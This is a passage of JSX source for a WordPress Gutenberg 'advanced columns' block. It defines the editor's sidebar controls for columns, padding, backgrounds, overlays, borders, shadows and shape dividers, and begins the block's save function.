		const changeDividerWidth = value => {
			if ( 'top' == dividerViewType ) {
				if ( 'desktop' == dividerWidthViewType ) {
					props.setAttributes({ dividerTopWidth: value });
				}

				if ( 'tablet' == dividerWidthViewType ) {
					props.setAttributes({ dividerTopWidthTablet: value });
				}

				if ( 'mobile' == dividerWidthViewType ) {
					props.setAttributes({ dividerTopWidthMobile: value });
				}
			}

			if ( 'bottom' == dividerViewType ) {
				if ( 'desktop' == dividerWidthViewType ) {
					props.setAttributes({ dividerBottomWidth: value });
				}

				if ( 'tablet' == dividerWidthViewType ) {
					props.setAttributes({ dividerBottomWidthTablet: value });
				}

				if ( 'mobile' == dividerWidthViewType ) {
					props.setAttributes({ dividerBottomWidthMobile: value });
				}
			}
		};

		let getDividerHeight = () => {
			let value;

			if ( 'top' == dividerViewType ) {
				if ( 'desktop' == dividerHeightViewType ) {
					value = dividerTopHeight;
				}

				if ( 'tablet' == dividerHeightViewType ) {
					value = dividerTopHeightTablet;
				}

				if ( 'mobile' == dividerHeightViewType ) {
					value = dividerTopHeightMobile;
				}
			}

			if ( 'bottom' == dividerViewType ) {
				if ( 'desktop' == dividerHeightViewType ) {
					value = dividerBottomHeight;
				}

				if ( 'tablet' == dividerHeightViewType ) {
					value = dividerBottomHeightTablet;
				}

				if ( 'mobile' == dividerHeightViewType ) {
					value = dividerBottomHeightMobile;
				}
			}

			return value;
		};

		getDividerHeight = getDividerHeight();

		let getDividerTopHeight = () => {
			let value;

			if ( isDesktop ) {
				value = dividerTopHeight;
			}

			if ( isTablet ) {
				value = dividerTopHeightTablet;
			}

			if ( isMobile ) {
				value = dividerTopHeightMobile;
			}

			return value;
		};

		getDividerTopHeight = getDividerTopHeight();

		let getDividerBottomHeight = () => {
			let value;

			if ( isDesktop ) {
				value = dividerBottomHeight;
			}

			if ( isTablet ) {
				value = dividerBottomHeightTablet;
			}

			if ( isMobile ) {
				value = dividerBottomHeightMobile;
			}

			return value;
		};

		getDividerBottomHeight = getDividerBottomHeight();

		const changeDividerHeight = value => {
			if ( 'top' == dividerViewType ) {
				if ( 'desktop' == dividerHeightViewType ) {
					props.setAttributes({ dividerTopHeight: value });
				}

				if ( 'tablet' == dividerHeightViewType ) {
					props.setAttributes({ dividerTopHeightTablet: value });
				}

				if ( 'mobile' == dividerHeightViewType ) {
					props.setAttributes({ dividerTopHeightMobile: value });
				}
			}

			if ( 'bottom' == dividerViewType ) {
				if ( 'desktop' == dividerHeightViewType ) {
					props.setAttributes({ dividerBottomHeight: value });
				}

				if ( 'tablet' == dividerHeightViewType ) {
					props.setAttributes({ dividerBottomHeightTablet: value });
				}

				if ( 'mobile' == dividerHeightViewType ) {
					props.setAttributes({ dividerBottomHeightMobile: value });
				}
			}
		};

		const changeHideStatus = ( value, type ) => {
			if ( 'desktop' === type ) {
				props.setAttributes({ hide: value });
			}
			if ( 'tablet' === type ) {
				props.setAttributes({ hideTablet: value });
			}
			if ( 'mobile' === type ) {
				props.setAttributes({ hideMobile: value });
			}
		};

		const changeColumnsHTMLTag = value => {
			props.setAttributes({ columnsHTMLTag: value });
		};

		const getColumnsTemplate = columns => {
			return times( columns, i => [ 'themeisle-blocks/advanced-column', { columnWidth: parseFloat( layouts[columns][layout][i]) } ]);
		};

		if ( ! columns ) {
			return (
				<Onboarding clientId={ props.clientId } setupColumns={ setupColumns } />
			);
		}

		return (
			<Fragment>
				<InspectorControls>
					<PanelBody className="wp-block-themeisle-blocks-advanced-columns-header-panel">
						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'layout' === tab }
							) }
							onClick={ () => setState({ tab: 'layout' }) }
						>
							<span
							>
								<Dashicon icon="editor-table"/>
								{ __( 'Layout' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'style' === tab }
							) }
							onClick={ () => setState({ tab: 'style' }) }
						>
							<span
							>
								<Dashicon icon="admin-customizer"/>
								{ __( 'Style' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'advanced' === tab }
							) }
							onClick={ () => setState({ tab: 'advanced' }) }
						>
							<span
							>
								<Dashicon icon="admin-generic"/>
								{ __( 'Advanced' ) }
							</span>
						</Button>
					</PanelBody>

					{ 'layout' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Columns & Layout' ) }
							>
								<RangeControl
									label={ __( 'Columns' ) }
									value={ columns }
									onChange={ changeColumns }
									min={ 1 }
									max={ 6 }
								/>

								<LayoutControl
									label={ __( 'Layout' ) }
									columns={ columns }
									changeViewType={ changeColumnsViewType }
									onClick={ changeLayout }
									layout={ layout }
									layoutTablet={ layoutTablet }
									layoutMobile={ layoutMobile }
									view={ columnsViewType }
								/>

								<SelectControl
									label={ __( 'Columns Gap' ) }
									value={ columnsGap }
									options={ [
										{ label: 'Default (10px)', value: 'default' },
										{ label: 'No Gap', value: 'nogap' },
										{ label: 'Narrow (5px)', value: 'narrow' },
										{ label: 'Extended (15px)', value: 'extended' },
										{ label: 'Wide (20px)', value: 'wide' },
										{ label: 'Wider (30px)', value: 'wider' }
									] }
									onChange={ changeColumnsGap }
								/>
							</PanelBody>

							<PanelBody
								title={ __( 'Padding & Margin' ) }
								initialOpen={ false }
							>
								<ResponsiveControl
									label={ 'Padding' }
									view={ paddingViewType }
									changeViewType={ changePaddingViewType }
								>
									<SizingControl
										type={ getPaddingType }
										min={ 0 }
										max={ 500 }
										changeType={ changePaddingType }
										onChange={ changePadding }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getPadding( 'top' )
											},
											{
												label: __( 'Right' ),
												type: 'right',
												value: getPadding( 'right' )
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
												value: getPadding( 'bottom' )
											},
											{
												label: __( 'Left' ),
												type: 'left',
												value: getPadding( 'left' )
											}
										] }
									/>
								</ResponsiveControl>

								<ResponsiveControl
									label={ 'Margin' }
									view={ marginViewType }
									changeViewType={ changeMarginViewType }
								>
									<SizingControl
										type={ getMarginType }
										min={ -500 }
										max={ 500 }
										changeType={ changeMarginType }
										onChange={ changeMargin }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getMargin( 'top' )
											},
											{
												label: __( 'Right' ),
												disabled: true
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
												value: getMargin( 'bottom' )
											},
											{
												label: __( 'Left' ),
												disabled: true
											}
										] }
									/>
								</ResponsiveControl>
							</PanelBody>

							<PanelBody
								title={ __( 'Section Structure' ) }
								initialOpen={ false }
							>
								<RangeControl
									label={ __( 'Maximum Content Width' ) }
									value={ columnsWidth || '' }
									onChange={ changeColumnsWidth }
									min={ 0 }
									max={ 1200 }
								/>

								{ columnsWidth && (
									<BaseControl
										label={ 'Horizontal Align' }
									>
										<ButtonGroup className="icon-buttom-group">
											<Tooltip text={ __( 'Left' ) } >
												<IconButton
													icon="editor-alignleft"
													className="is-button is-large"
													isPrimary={ 'flex-start' === horizontalAlign }
													onClick={ () => changeHorizontalAlign( 'flex-start' ) }
												/>
											</Tooltip>

											<Tooltip text={ __( 'Center' ) } >
												<IconButton
													icon="editor-aligncenter"
													className="is-button is-large"
													isPrimary={ 'center' === horizontalAlign }
													onClick={ () => changeHorizontalAlign( 'center' ) }
												/>
											</Tooltip>

											<Tooltip text={ __( 'Right' ) } >
												<IconButton
													icon="editor-alignright"
													className="is-button is-large"
													isPrimary={ 'flex-end' === horizontalAlign }
													onClick={ () => changeHorizontalAlign( 'flex-end' ) }
												/>
											</Tooltip>
										</ButtonGroup>
									</BaseControl>
								) }

								<SelectControl
									label={ __( 'Minimum Height' ) }
									value={ columnsHeight }
									options={ [
										{ label: 'Default', value: 'auto' },
										{ label: 'Fit to Screen', value: '100vh' },
										{ label: 'Custom', value: 'custom' }
									] }
									onChange={ changeColumnsHeight }
								/>

								{ 'custom' === columnsHeight && (
									<ResponsiveControl
										label={ 'Custom Height' }
										view={ heightViewType }
										changeViewType={ changeHeightViewType }
									>
										<RangeControl
											value={ getColumnsHeightCustom || '' }
											onChange={ changeColumnsHeightCustom }
											min={ 0 }
											max={ 1000 }
										/>
									</ResponsiveControl>
								) }

								{ 'auto' !== columnsHeight && (
									<BaseControl
										label={ 'Vertical Align' }
									>
										<ButtonGroup className="icon-buttom-group">
											<Tooltip text={ __( 'Top' ) } >
												<Button
													className="components-icon-button is-button is-large"
													isPrimary={ 'flex-start' === verticalAlign }
													onClick={ () => changeVerticalAlign( 'flex-start' ) }
												>
													<Icon
														icon={ topIcon }
														size={ 20 }
													/>
												</Button>
											</Tooltip>

											<Tooltip text={ __( 'Middle' ) } >
												<Button
													className="components-icon-button is-button is-large"
													isPrimary={ 'center' === verticalAlign }
													onClick={ () => changeVerticalAlign( 'center' ) }
												>
													<Icon
														icon={ middleIcon }
														size={ 20 }
													/>
												</Button>
											</Tooltip>

											<Tooltip text={ __( 'Bottom' ) } >
												<Button
													className="components-icon-button is-button is-large"
													isPrimary={ 'flex-end' === verticalAlign }
													onClick={ () => changeVerticalAlign( 'flex-end' ) }
												>
													<Icon
														icon={ bottomIcon }
														size={ 20 }
													/>
												</Button>
											</Tooltip>
										</ButtonGroup>
									</BaseControl>
								) }
							</PanelBody>
						</Fragment>

					) || 'style' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Background Settings' ) }
								className="wp-block-themeisle-image-container"
							>
								<BackgroundControl
									label={ __( 'Background Type' ) }
									backgroundType={ backgroundType }
									changeBackgroundType={ changeBackgroundType }
								/>

								{ 'color' === backgroundType && (

									<Fragment>
										<p>{ __( 'Background Color' ) }</p>

										<ColorPalette
											label={ 'Background Color' }
											value={ backgroundColor }
											onChange={ changeBackgroundColor }
										/>
									</Fragment>

								) || 'image' === backgroundType && (
									backgroundImageURL ?

										<Fragment>
											<div className="image-body">
												<div className="image-container">
													<div
														className="image-holder"
														style={ {
															backgroundImage: `url('${ backgroundImageURL }')`
														} }
													></div>

													<div
														className="image-delete"
														onClick={ removeBackgroundImage }
													>
														<Dashicon icon="trash" />
														<span>{ __( 'Remove Image' ) }</span>
													</div>
												</div>
											</div>

											<Button
												isDefault
												className="image-delete-button"
												onClick={ removeBackgroundImage }
											>
												{ __( 'Change or Remove Image' ) }
											</Button>

											<ControlPanelControl
												label={ 'Background Settings' }
											>

												<SelectControl
													label={ __( 'Background Attachment' ) }
													value={ backgroundAttachment }
													options={ [
														{ label: 'Scroll', value: 'scroll' },
														{ label: 'Fixed', value: 'fixed' },
														{ label: 'Local', value: 'local' }
													] }
													onChange={ changeBackgroundAttachment }
												/>

												<SelectControl
													label={ __( 'Background Position' ) }
													value={ backgroundPosition }
													options={ [
														{ label: 'Default', value: 'top left' },
														{ label: 'Top Left', value: 'top left' },
														{ label: 'Top Center', value: 'top center' },
														{ label: 'Top Right', value: 'top right' },
														{ label: 'Center Left', value: 'center left' },
														{ label: 'Center Center', value: 'center center' },
														{ label: 'Center Right', value: 'center right' },
														{ label: 'Bottom Left', value: 'bottom left' },
														{ label: 'Bottom Center', value: 'bottom center' },
														{ label: 'Bottom Right', value: 'bottom right' }
													] }
													onChange={ changeBackgroundPosition }
												/>

												<SelectControl
													label={ __( 'Background Repeat' ) }
													value={ backgroundRepeat }
													options={ [
														{ label: 'Repeat', value: 'repeat' },
														{ label: 'No-repeat', value: 'no-repeat' }
													] }
													onChange={ changeBackgroundRepeat }
												/>

												<SelectControl
													label={ __( 'Background Size' ) }
													value={ backgroundSize }
													options={ [
														{ label: 'Auto', value: 'auto' },
														{ label: 'Cover', value: 'cover' },
														{ label: 'Contain', value: 'contain' }
													] }
													onChange={ changeBackgroundSize }
												/>

											</ControlPanelControl>
										</Fragment> :

										<MediaPlaceholder
											icon="format-image"
											labels={ {
												title: __( 'Background Image' ),
												name: __( 'an image' )
											} }
											value={ backgroundImageID }
											onSelect={ changeBackgroundImage }
											accept="image/*"
											allowedTypes={ [ 'image' ] }
										/>

								) || 'gradient' === backgroundType && (
									<Fragment>
										<p>{ __( 'First Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundGradientFirstColor }
											onChange={ changeBackgroundGradientFirstColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundGradientFirstLocation }
											onChange={ changeBackgroundGradientFirstLocation }
											min={ 0 }
											max={ 100 }
										/>

										<p>{ __( 'Second Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundGradientSecondColor }
											onChange={ changeBackgroundGradientSecondColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundGradientSecondLocation }
											onChange={ changeBackgroundGradientSecondLocation }
											min={ 0 }
											max={ 100 }
										/>

										<SelectControl
											label={ __( 'Type' ) }
											value={ backgroundGradientType }
											options={ [
												{ label: 'Linear', value: 'linear' },
												{ label: 'Radial', value: 'radial' }
											] }
											onChange={ changeBackgroundGradientType }
										/>

										{ 'linear' === backgroundGradientType ?
											<RangeControl
												label={ __( 'Angle' ) }
												value={ backgroundGradientAngle }
												onChange={ changeBackgroundGradientAngle }
												min={ 0 }
												max={ 360 }
											/>	:
											<SelectControl
												label={ __( 'Position' ) }
												value={ backgroundGradientPosition }
												options={ [
													{ label: 'Top Left', value: 'top left' },
													{ label: 'Top Center', value: 'top center' },
													{ label: 'Top Right', value: 'top right' },
													{ label: 'Center Left', value: 'center left' },
													{ label: 'Center Center', value: 'center center' },
													{ label: 'Center Right', value: 'center right' },
													{ label: 'Bottom Left', value: 'bottom left' },
													{ label: 'Bottom Center', value: 'bottom center' },
													{ label: 'Bottom Right', value: 'bottom right' }
												] }
												onChange={ changeBackgroundGradientPosition }
											/>
										}
									</Fragment>
								) }
							</PanelBody>

							<PanelBody
								title={ __( 'Background Overlay' ) }
								className="wp-block-themeisle-image-container"
								initialOpen={ false }
							>
								<BackgroundControl
									label={ __( 'Overlay Type' ) }
									backgroundType={ backgroundOverlayType }
									changeBackgroundType={ changeBackgroundOverlayType }
								/>

								<RangeControl
									label={ __( 'Overlay Opacity' ) }
									value={ backgroundOverlayOpacity }
									onChange={ changeBackgroundOverlayOpacity }
									min={ 0 }
									max={ 100 }
								/>

								{ 'color' === backgroundOverlayType && (

									<Fragment>
										<p>{ __( 'Overlay Color' ) }</p>

										<ColorPalette
											label={ 'Overlay Color' }
											value={ backgroundOverlayColor }
											onChange={ changeBackgroundOverlayColor }
										/>
									</Fragment>

								) || 'image' === backgroundOverlayType && (
									backgroundOverlayImageURL ?

										<Fragment>
											<div className="image-body">
												<div className="image-container">
													<div
														className="image-holder"
														style={ {
															backgroundImage: `url('${ backgroundOverlayImageURL }')`
														} }
													></div>

													<div
														className="image-delete"
														onClick={ removeBackgroundOverlayImage }
													>
														<Dashicon icon="trash" />
														<span>{ __( 'Remove Image' ) }</span>
													</div>
												</div>
											</div>

											<Button
												isDefault
												className="image-delete-button"
												onClick={ removeBackgroundOverlayImage }
											>
												{ __( 'Change or Remove Image' ) }
											</Button>

											<ControlPanelControl
												label={ 'Background Settings' }
											>

												<SelectControl
													label={ __( 'Background Attachment' ) }
													value={ backgroundOverlayAttachment }
													options={ [
														{ label: 'Scroll', value: 'scroll' },
														{ label: 'Fixed', value: 'fixed' },
														{ label: 'Local', value: 'local' }
													] }
													onChange={ changeBackgroundOverlayAttachment }
												/>

												<SelectControl
													label={ __( 'Background Position' ) }
													value={ backgroundOverlayPosition }
													options={ [
														{ label: 'Default', value: 'top left' },
														{ label: 'Top Left', value: 'top left' },
														{ label: 'Top Center', value: 'top center' },
														{ label: 'Top Right', value: 'top right' },
														{ label: 'Center Left', value: 'center left' },
														{ label: 'Center Center', value: 'center center' },
														{ label: 'Center Right', value: 'center right' },
														{ label: 'Bottom Left', value: 'bottom left' },
														{ label: 'Bottom Center', value: 'bottom center' },
														{ label: 'Bottom Right', value: 'bottom right' }
													] }
													onChange={ changeBackgroundOverlayPosition }
												/>

												<SelectControl
													label={ __( 'Background Repeat' ) }
													value={ backgroundOverlayRepeat }
													options={ [
														{ label: 'Repeat', value: 'repeat' },
														{ label: 'No-repeat', value: 'no-repeat' }
													] }
													onChange={ changeBackgroundOverlayRepeat }
												/>

												<SelectControl
													label={ __( 'Background Size' ) }
													value={ backgroundOverlaySize }
													options={ [
														{ label: 'Auto', value: 'auto' },
														{ label: 'Cover', value: 'cover' },
														{ label: 'Contain', value: 'contain' }
													] }
													onChange={ changeBackgroundOverlaySize }
												/>

											</ControlPanelControl>
										</Fragment> :

										<MediaPlaceholder
											icon="format-image"
											labels={ {
												title: __( 'Background Image' ),
												name: __( 'an image' )
											} }
											value={ backgroundOverlayImageID }
											onSelect={ changeBackgroundOverlayImage }
											accept="image/*"
											allowedTypes={ [ 'image' ] }
										/>

								) || 'gradient' === backgroundOverlayType && (
									<Fragment>
										<p>{ __( 'First Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundOverlayGradientFirstColor }
											onChange={ changeBackgroundOverlayGradientFirstColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundOverlayGradientFirstLocation }
											onChange={ changeBackgroundOverlayGradientFirstLocation }
											min={ 0 }
											max={ 100 }
										/>

										<p>{ __( 'Second Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundOverlayGradientSecondColor }
											onChange={ changeBackgroundOverlayGradientSecondColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundOverlayGradientSecondLocation }
											onChange={ changeBackgroundOverlayGradientSecondLocation }
											min={ 0 }
											max={ 100 }
										/>

										<SelectControl
											label={ __( 'Type' ) }
											value={ backgroundOverlayGradientType }
											options={ [
												{ label: 'Linear', value: 'linear' },
												{ label: 'Radial', value: 'radial' }
											] }
											onChange={ changeBackgroundOverlayGradientType }
										/>

										{ 'linear' === backgroundOverlayGradientType ?
											<RangeControl
												label={ __( 'Angle' ) }
												value={ backgroundOverlayGradientAngle }
												onChange={ changeBackgroundOverlayGradientAngle }
												min={ 0 }
												max={ 360 }
											/>	:
											<SelectControl
												label={ __( 'Position' ) }
												value={ backgroundOverlayGradientPosition }
												options={ [
													{ label: 'Top Left', value: 'top left' },
													{ label: 'Top Center', value: 'top center' },
													{ label: 'Top Right', value: 'top right' },
													{ label: 'Center Left', value: 'center left' },
													{ label: 'Center Center', value: 'center center' },
													{ label: 'Center Right', value: 'center right' },
													{ label: 'Bottom Left', value: 'bottom left' },
													{ label: 'Bottom Center', value: 'bottom center' },
													{ label: 'Bottom Right', value: 'bottom right' }
												] }
												onChange={ changeBackgroundOverlayGradientPosition }
											/>
										}
									</Fragment>
								) }

								<ControlPanelControl
									label={ 'CSS Filters' }
								>

									<RangeControl
										label={ __( 'Blur' ) }
										value={ backgroundOverlayFilterBlur }
										onChange={ changebackgroundOverlayFilterBlur }
										min={ 0 }
										max={ 100 }
									/>

									<RangeControl
										label={ __( 'Brightness' ) }
										value={ backgroundOverlayFilterBrightness }
										onChange={ changebackgroundOverlayFilterBrightness }
										min={ 0 }
										max={ 100 }
									/>

									<RangeControl
										label={ __( 'Contrast' ) }
										value={ backgroundOverlayFilterContrast }
										onChange={ changebackgroundOverlayFilterContrast }
										min={ 0 }
										max={ 100 }
									/>

									<RangeControl
										label={ __( 'Grayscale' ) }
										value={ backgroundOverlayFilterGrayscale }
										onChange={ changebackgroundOverlayFilterGrayscale }
										min={ 0 }
										max={ 100 }
									/>

									<RangeControl
										label={ __( 'Hue' ) }
										value={ backgroundOverlayFilterHue }
										onChange={ changebackgroundOverlayFilterHue }
										min={ 0 }
										max={ 360 }
									/>

									<RangeControl
										label={ __( 'Saturation' ) }
										value={ backgroundOverlayFilterSaturate }
										onChange={ changebackgroundOverlayFilterSaturate }
										min={ 0 }
										max={ 100 }
									/>

								</ControlPanelControl>

								<SelectControl
									label={ __( 'Blend Mode' ) }
									value={ backgroundOverlayBlend }
									options={ [
										{ label: 'Normal', value: 'normal' },
										{ label: 'Multiply', value: 'multiply' },
										{ label: 'Screen', value: 'screen' },
										{ label: 'Overlay', value: 'overlay' },
										{ label: 'Darken', value: 'darken' },
										{ label: 'Lighten', value: 'lighten' },
										{ label: 'Color Dodge', value: 'color-dodge' },
										{ label: 'Color Burn', value: 'color-burn' },
										{ label: 'Hard Light', value: 'hard-light' },
										{ label: 'Soft Light', value: 'soft-light' },
										{ label: 'Difference', value: 'difference' },
										{ label: 'Exclusion', value: 'exclusion' },
										{ label: 'Hue', value: 'hue' },
										{ label: 'Saturation', value: 'saturation' },
										{ label: 'Color', value: 'color' },
										{ label: 'Luminosity', value: 'luminosity' }
									] }
									onChange={ changebackgroundOverlayBlend }
								/>
							</PanelBody>

							<PanelBody
								title={ __( 'Border' ) }
								className="wp-block-themeisle-border-container"
								initialOpen={ false }
							>
								<SizingControl
									label={ __( 'Border Width' ) }
									type={ borderType }
									min={ 0 }
									max={ 500 }
									changeType={ changeBorderType }
									onChange={ changeBorder }
									options={ [
										{
											label: __( 'Top' ),
											type: 'top',
											value: getBorder( 'top' )
										},
										{
											label: __( 'Right' ),
											type: 'right',
											value: getBorder( 'right' )
										},
										{
											label: __( 'Bottom' ),
											type: 'bottom',
											value: getBorder( 'bottom' )
										},
										{
											label: __( 'Left' ),
											type: 'left',
											value: getBorder( 'left' )
										}
									] }
								/>

								<Fragment>
									<p>{ __( 'Border Color' ) }</p>

									<ColorPalette
										label={ 'Border Color' }
										value={ borderColor }
										onChange={ changeBorderColor }
									/>
								</Fragment>

								<SizingControl
									label={ __( 'Border Radius' ) }
									type={ borderRadiusType }
									min={ 0 }
									max={ 500 }
									changeType={ changeBorderRadiusType }
									onChange={ changeBorderRadius }
									options={ [
										{
											label: __( 'Top' ),
											type: 'top',
											value: getBorderRadius( 'top' )
										},
										{
											label: __( 'Right' ),
											type: 'right',
											value: getBorderRadius( 'right' )
										},
										{
											label: __( 'Bottom' ),
											type: 'bottom',
											value: getBorderRadius( 'bottom' )
										},
										{
											label: __( 'Left' ),
											type: 'left',
											value: getBorderRadius( 'left' )
										}
									] }
								/>

								<ToggleControl
									label={ 'Box Shadow' }
									checked={ boxShadow }
									onChange={ changeBoxShadow }
								/>

								{ boxShadow && (
									<Fragment>

										<Fragment>
											<p>{ __( 'Shadow Color' ) }</p>

											<ColorPalette
												label={ 'Shadow Color' }
												value={ boxShadowColor }
												onChange={ changeBoxShadowColor }
											/>
										</Fragment>

										<ControlPanelControl
											label={ 'Border Shadow' }
										>

											<RangeControl
												label={ __( 'Opacity' ) }
												value={ boxShadowColorOpacity }
												onChange={ changeBoxShadowColorOpacity }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Blur' ) }
												value={ boxShadowBlur }
												onChange={ changeBoxShadowBlur }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Spread' ) }
												value={ boxShadowSpread }
												onChange={ changeBoxShadowSpread }
												min={ -100 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Horizontal' ) }
												value={ boxShadowHorizontal }
												onChange={ changeBoxShadowHorizontal }
												min={ -100 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Vertical' ) }
												value={ boxShadowVertical }
												onChange={ changeBoxShadowVertical }
												min={ -100 }
												max={ 100 }
											/>

										</ControlPanelControl>
									</Fragment>
								) }
							</PanelBody>

							<PanelBody
								title={ __( 'Shape Divider' ) }
								initialOpen={ false }
								className="wp-block-themeisle-shape-divider"
							>
								<ButtonGroup>
									<Button
										className="is-button"
										isPrimary={ 'top' === dividerViewType }
										onClick={ () => changeDividerViewType( 'top' ) }
									>
										{ __( 'Top' ) }
									</Button>

									<Button
										className="is-button"
										isPrimary={ 'bottom' === dividerViewType }
										onClick={ () => changeDividerViewType( 'bottom' ) }
									>
										{ __( 'Bottom' ) }
									</Button>
								</ButtonGroup>

								<SelectControl
									label={ __( 'Type' ) }
									value={ getDividerType }
									options={ [
										{ label: 'None', value: 'none' },
										{ label: 'Triangle', value: 'bigTriangle' },
										{ label: 'Right Curve', value: 'rightCurve' },
										{ label: 'Curve', value: 'curve' },
										{ label: 'Slant', value: 'slant' },
										{ label: 'Cloud', value: 'cloud' }
									] }
									onChange={ changeDividerType }
								/>

								{ 'none' !== getDividerType && (
									<Fragment>
										<Fragment>
											<p>{ __( 'Color' ) }</p>

											<ColorPalette
												label={ __( 'Color' ) }
												value={ getDividerColor }
												onChange={ changeDividerColor }
											/>
										</Fragment>

										<ResponsiveControl
											label={ 'Width' }
											view={ dividerWidthViewType }
											changeViewType={ changeDividerWidthViewType }
										>
											<RangeControl
												value={ getDividerWidth }
												onChange={ changeDividerWidth }
												min={ 0 }
												max={ 500 }
											/>
										</ResponsiveControl>

										<ResponsiveControl
											label={ 'Height' }
											view={ dividerHeightViewType }
											changeViewType={ changeDividerHeightViewType }
										>
											<RangeControl
												value={ getDividerHeight }
												onChange={ changeDividerHeight }
												min={ 0 }
												max={ 500 }
											/>
										</ResponsiveControl>

										{ ( 'curve' !== getDividerType && 'cloud' !== getDividerType ) && (
											<ToggleControl
												label={ 'Invert Shape Divider' }
												checked={ getDividerInvert }
												onChange={ changeDividerInvert }
											/>
										) }
									</Fragment>
								) }
							</PanelBody>
						</Fragment>

					) || 'advanced' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Section Visibility' ) }
							>
								<ToggleControl
									label={ 'Hide this section in Desktop devices?' }
									checked={ hide }
									onChange={ e => changeHideStatus( e, 'desktop' ) }
								/>

								<ToggleControl
									label={ 'Hide this section in Tablet devices?' }
									checked={ hideTablet }
									onChange={ e => changeHideStatus( e, 'tablet' ) }
								/>

								<ToggleControl
									label={ 'Hide this section in Mobile devices?' }
									checked={ hideMobile }
									onChange={ e => changeHideStatus( e, 'mobile' ) }
								/>
							</PanelBody>

							<PanelBody
								title={ __( 'Section Settings' ) }
								initialOpen={ false }
							>

								<SelectControl
									label={ __( 'HTML Tag' ) }
									value={ columnsHTMLTag }
									options={ [
										{ label: 'Default', value: 'div' },
										{ label: 'div', value: 'div' },
										{ label: 'section', value: 'section' },
										{ label: 'header', value: 'header' },
										{ label: 'footer', value: 'footer' },
										{ label: 'article', value: 'article' },
										{ label: 'main', value: 'main' }
									] }
									onChange={ changeColumnsHTMLTag }
								/>

							</PanelBody>
						</Fragment>

					) }
				</InspectorControls>

				<InspectorAdvancedControls>
					<TextControl
						label={ __( 'HTML Anchor' ) }
						help={ __( 'Anchors lets you link directly to a section on a page.' ) }
						value={ id }
						readonly="readonly"
						onClick={ e => e.target.select() }
					/>
				</InspectorAdvancedControls>

				<Tag className={ classes } style={ style }>
					<div
						className="wp-themeisle-block-overlay"
						style={ overlayStyle }
					>
					</div>

					<div
						className="wp-themeisle-block-advanced-columns-padding-container"
						style={{
							height: `${ getPaddingBasedOnScreen( 'top' ) }px`
						}}
					>
						<div className="block-space-size">
							<span id="paddingTop">{ `${ getPaddingBasedOnScreen( 'top' ) }px` }</span>
						</div>
					</div>

					<Separators
						type="top"
						style={ dividerTopType }
						fill={ dividerTopColor }
						invert={ dividerTopInvert }
						width={ getDividerTopWidth }
						height={ getDividerTopHeight }
					/>

					<div
						className="innerblocks-wrap"
						style={ innerStyle }
					>
						<InnerBlocks
							allowedBlocks={ ALLOWED_BLOCKS }
							template={ getColumnsTemplate( columns ) }
							templateLock="all"
						/>
					</div>

					<Separators
						type="bottom"
						style={ dividerBottomType }
						fill={ dividerBottomColor }
						invert={ dividerBottomInvert }
						width={ getDividerBottomWidth }
						height={ getDividerBottomHeight }
					/>

					<div
						className="wp-themeisle-block-advanced-columns-padding-container"
						style={{
							height: `${ getPaddingBasedOnScreen( 'bottom' ) }px`
						}}
					>
						<div className="block-space-size">
							<span id="paddingBottom">{ `${ getPaddingBasedOnScreen( 'bottom' ) }px` }</span>
						</div>
					</div>
				</Tag>
			</Fragment>
		);
	}),

	save: props => {
		const {
			id,
			columns,
			layout,
			layoutTablet,
			layoutMobile,
			columnsGap,
			columnsWidth,
			horizontalAlign,
			verticalAlign,
			backgroundType,
			backgroundColor,
			backgroundImageURL,
			backgroundAttachment,
			backgroundPosition,
			backgroundRepeat,
			backgroundSize,
			backgroundGradientFirstColor,
			backgroundGradientFirstLocation,
			backgroundGradientSecondColor,
			backgroundGradientSecondLocation,
			backgroundGradientType,
			backgroundGradientAngle,
			backgroundGradientPosition,
			backgroundOverlayOpacity,
			backgroundOverlayType,
			backgroundOverlayColor,
			backgroundOverlayImageURL,
			backgroundOverlayAttachment,
			backgroundOverlayPosition,
			backgroundOverlayRepeat,
			backgroundOverlaySize,
			backgroundOverlayGradientFirstColor,
			backgroundOverlayGradientFirstLocation,
			backgroundOverlayGradientSecondColor,
			backgroundOverlayGradientSecondLocation,
			backgroundOverlayGradientType,
			backgroundOverlayGradientAngle,
			backgroundOverlayGradientPosition,
			backgroundOverlayBlend,
			borderType,
			border,
			borderTop,
			borderRight,
			borderBottom,
			borderLeft,
			borderColor,
			borderRadiusType,
			borderRadius,
			borderRadiusTop,
			borderRadiusRight,
			borderRadiusBottom,
			borderRadiusLeft,
			boxShadow,
			boxShadowColor,
			boxShadowColorOpacity,
			boxShadowBlur,
			boxShadowSpread,
			boxShadowHorizontal,
			boxShadowVertical,
			dividerTopType,
			dividerTopColor,
			dividerTopInvert,
			dividerBottomType,
			dividerBottomColor,
			dividerBottomInvert,
			hide,
			hideTablet,
			hideMobile,
			columnsHTMLTag
		} = props.attributes;

		const Tag = columnsHTMLTag;

		let background, overlayBackground, borderStyle, borderRadiusStyle, boxShadowStyle;

		if ( 'color' === backgroundType ) {
			background = {
				background: backgroundColor
			};
		}

		if ( 'image' === backgroundType ) {
			background = {
				backgroundImage: `url( '${ backgroundImageURL }' )`,
				backgroundAttachment,
				backgroundPosition,
				backgroundRepeat,
